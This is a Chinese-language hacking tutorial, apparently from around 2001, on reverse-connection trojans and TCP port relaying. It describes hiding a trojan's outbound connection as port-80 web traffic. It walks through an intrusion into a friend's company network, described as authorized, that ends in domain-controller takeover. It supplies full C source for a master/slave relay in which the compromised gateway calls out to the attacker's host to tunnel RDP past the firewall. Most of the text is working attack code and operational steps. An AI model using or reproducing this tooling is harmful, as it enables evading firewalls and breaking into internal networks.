TCP端口反弹技术
反弹技术,该技术解决了传统的远程控制软件不能访问装有防火墙和控制局域网内部的远程计算机的难题。
反弹端口型软件的原理是,客户端首先登录到FTP服务器,编辑在木马软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用HTTP协议读取这个文件的内容,当发现是客户端让自己开始连接时,就主动连接,如此就可完成连接工作。因此在互联网上可以访问到局域网里通过 NAT (透明代理)代理上网的电脑,并且可以穿过防火墙。与传统的远程控制软件相反,
反弹端口型软件的服务端会主动连接客户端,客户端的监听端口一般开为80(即用于网页浏览的端口),这样,即使用户在命令提示符下使用"netstat -a"命令检查自己的端口,发现的也是类似"
TCP UserIP:3015 ControllerIP:http ESTABLISHED"的情况,稍微疏忽一点你就会以为是自己在浏览网页,而防火墙也会同样这么认为的。于是,与一般的软件相反,
反弹端口型软件的服务端主动连接客户端,这样就可以轻易的突破防火墙的限制。
利用两次TCP SOCKET数据转发突破TCP/IP限制进入
--------------------------------------------------------------------------------
事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹tcp端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到internet,但我是网关的admin:)。
〈2〉敌人[其实是friend啦]的网关os是2k adv server,在外网网卡上做了tcp/ip限制,只开放了25,53,80,110,3306这几个tcp port,通过一个漏洞,我得到了一个shell,可以通过ie来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用tcp socket转发。和第一部分说的一样吗?有些不同。因为他做了tcp/ip限制,我们不能连接他,只能让他来连接我们了,tcp
反弹端口,呵呵。
攻击流程如下:
〈1〉在我的服务器202.1.1.1运行agentmaster,监听tcp port 12345,等待202.2.2.2来连接,监听tcp port 3389,等待我192.168.0.2连接。
〈2〉在敌人网关机器202.2.2.2运行agentslave,连接到202.1.1.1 tcp port 12345[注意:是
反弹端口,tcp/ip过滤也拿他没办法]
〈3〉我自己192.168.0.2用termclient连接到自己的服务器202.1.1.1:3389
〈4〉敌人网关上的agentslave连接到自己本身在内网的ip==〉192.168.1.1:3389
〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了tcp/ip过滤,攻击者没有办法进入。我只要把agentslave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的tcpdataredird.c已经贴在第一部分,那个文件做数据转发,通用的:
/******************************************************************************
module name:agentmaster.c
date:2001/4/16
copyright(c) eyas
说明:scoket代理主控端,负责监听两个tcp socket,等待攻击者和agentslave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "tcpdataredird.c"
#pragma comment(lib,"ws2_32.lib")
#define targetport 3389//伪装的target的监听端口
#define localport 12345//等待agentslave来connect的端口
int main()
{
wsadata wsd;
socket s3389=invalid_socket,//本机监听的socket,等待攻击者连接
s1981=invalid_socket,//监听的socket,等待agentslave来连接
sock[2]={invalid_socket,invalid_socket};
struct sockaddr_in local3389,local1981,attack,slave;
int iaddrsize;
handle hthreadc2t=null,//c2t=clienttotarget
hthreadt2c=null;//t2c=targettoclient
dword dwthreadid;
__try
{
//load winsock library
if(wsastartup(makeword(2,2),&wsd)!=0)
{
printf("\nwsastartup() failed:%d",getlasterror());
__leave;
}
//create socket
s3389=socket(af_inet,sock_stream,ipproto_ip);
if(s3389==invalid_socket)
{
printf("\nsocket() failed:%d",getlasterror());
__leave;
}
//create socket
s1981=socket(af_inet,sock_stream,ipproto_ip);
if(s1981==invalid_socket)
{
printf("\nsocket() failed:%d",getlasterror());
__leave;
}
//fill the struct
local3389.sin_addr.s_addr=htonl(inaddr_any);
local3389.sin_family=af_inet;
local3389.sin_port=htons(targetport);
local1981.sin_addr.s_addr=htonl(inaddr_any);
local1981.sin_family=af_inet;
local1981.sin_port=htons(localport);
//bind s3389 for attacker
if(bind(s3389,(struct sockaddr *)&local3389,sizeof(local3389))==socket_error)
{
printf("\nbind() failed:%d",getlasterror());
__leave;
}
//listen for attacker to connect
if(listen(s3389,1)==socket_error)
{
printf("\nlisten() failed:%d",getlasterror());
__leave;
}
//bind s1981 for agentslave
if(bind(s1981,(struct sockaddr *)&local1981,sizeof(local1981))==socket_error)
{
printf("\nbind() failed:%d",getlasterror());
__leave;
}
//listen for agentslave to connect
if(listen(s1981,1)==socket_error)
{
printf("\nlisten() failed:%d",getlasterror());
__leave;
}
//socket循环
while(1)
{
//wait for agentslave to connect
iaddrsize=sizeof(slave);
sock[1]=accept(s1981,(struct sockaddr *)&slave,&iaddrsize);
if(sock[1]==invalid_socket)
{
printf("\naccept() failed:%d",getlasterror());
break;
}
printf("\naccept agentslave==〉%s:%d",inet_ntoa(slave.sin_addr),
ntohs(slave.sin_port));
//wait for attacker to connect
iaddrsize=sizeof(attack);
sock[0]=accept(s3389,(struct sockaddr *)&attack,&iaddrsize);
if(sock[0]==invalid_socket)
{
printf("\naccept() failed:%d",getlasterror());
break;
}
printf("\naccept attacker==〉%s:%d",inet_ntoa(attack.sin_addr),
ntohs(attack.sin_port));
//创建两个线程进行数据转发
hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);
hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);
//等待两个线程结束
waitforsingleobject(hthreadc2t,infinite);
closehandle(hthreadc2t);
closehandle(hthreadt2c);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
//clean all
if(s3389!=invalid_socket) closesocket(s3389);
if(s1981!=invalid_socket) closesocket(s1981);
if(sock[0]!=invalid_socket) closesocket(sock[0]);
if(sock[1]!=invalid_socket) closesocket(sock[1]);
if(hthreadc2t!=null) closehandle(hthreadc2t);
if(hthreadt2c!=null) closehandle(hthreadt2c);
wsacleanup();
}
return 0;
}
/***********************************************************************************
module:agentslave.c
date:2001/4/17
copyright(c)eyas
homepage:[url]www.patching.net[/url]
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到agenrmaster的socket相当与sclient==〉sock[0],
连接到最终目标的socoket是starget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "tcpdataredird.c"
#pragma comment(lib,"ws2_32.lib")
#define targetip "192.168.1.3"
#define targetport (int)3389
#define agentmasterip "202.1.1.1"
#define agentmasterport (int)12345
int main()
{
wsadata wsd;
socket sock[2]={invalid_socket,invalid_socket};
struct sockaddr_in master,target;
handle hthreadc2t=null,//c2t=clienttotarget
hthreadt2c=null;//t2c=targettoclient
dword dwthreadid;
__try
{
//load winsock library
if(wsastartup(makeword(2,2),&wsd)!=0)
{
printf("\nwsastartup() failed:%d",getlasterror());
__leave;
}
//循环
while(1)
{
//create client socket
sock[0]=socket(af_inet,sock_stream,ipproto_ip);
if(sock[0]==invalid_socket)
{
printf("\nsocket() failed:%d",getlasterror());
__leave;
}
//create target socket
sock[1]=socket(af_inet,sock_stream,ipproto_ip);
if(sock[1]==invalid_socket)
{
printf("\nsocket() failed:%d",getlasterror());
__leave;
}
//fill struct
target.sin_family=af_inet;
target.sin_addr.s_addr=inet_addr(targetip);
target.sin_port=htons(targetport);
master.sin_family=af_inet;
master.sin_addr.s_addr=inet_addr(agentmasterip);
master.sin_port=htons(agentmasterport);
//connect to agentmaster
if(connect(sock[0],(struct sockaddr *)&master,sizeof(master))==socket_error)
{
//连接失败后,等待一会儿再连
printf("\nconnect() to master failed:%d",getlasterror());
closesocket(sock[0]);
closesocket(sock[1]);
sleep(5000);
continue;
}
printf("\nconnect to %s %d success!",agentmasterip,agentmasterport);
//connect to target
if(connect(sock[1],(struct sockaddr *)&target,sizeof(target))==socket_error)
{
printf("\nconnect() to target failed:%d",getlasterror());
__leave;
}
printf("\nconnect to %s %d success!",targetip,targetport);
//创建两个线程进行数据转发
hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);
hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);
//等待两个线程结束
waitforsingleobject(hthreadc2t,infinite);
closehandle(hthreadc2t);
closehandle(hthreadt2c);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=invalid_socket) closesocket(sock[0]);
if(sock[1]!=invalid_socket) closesocket(sock[1]);
if(hthreadc2t!=null) closehandle(hthreadc2t);
if(hthreadt2c!=null) closehandle(hthreadt2c);
wsacleanup();
}
return 0;
}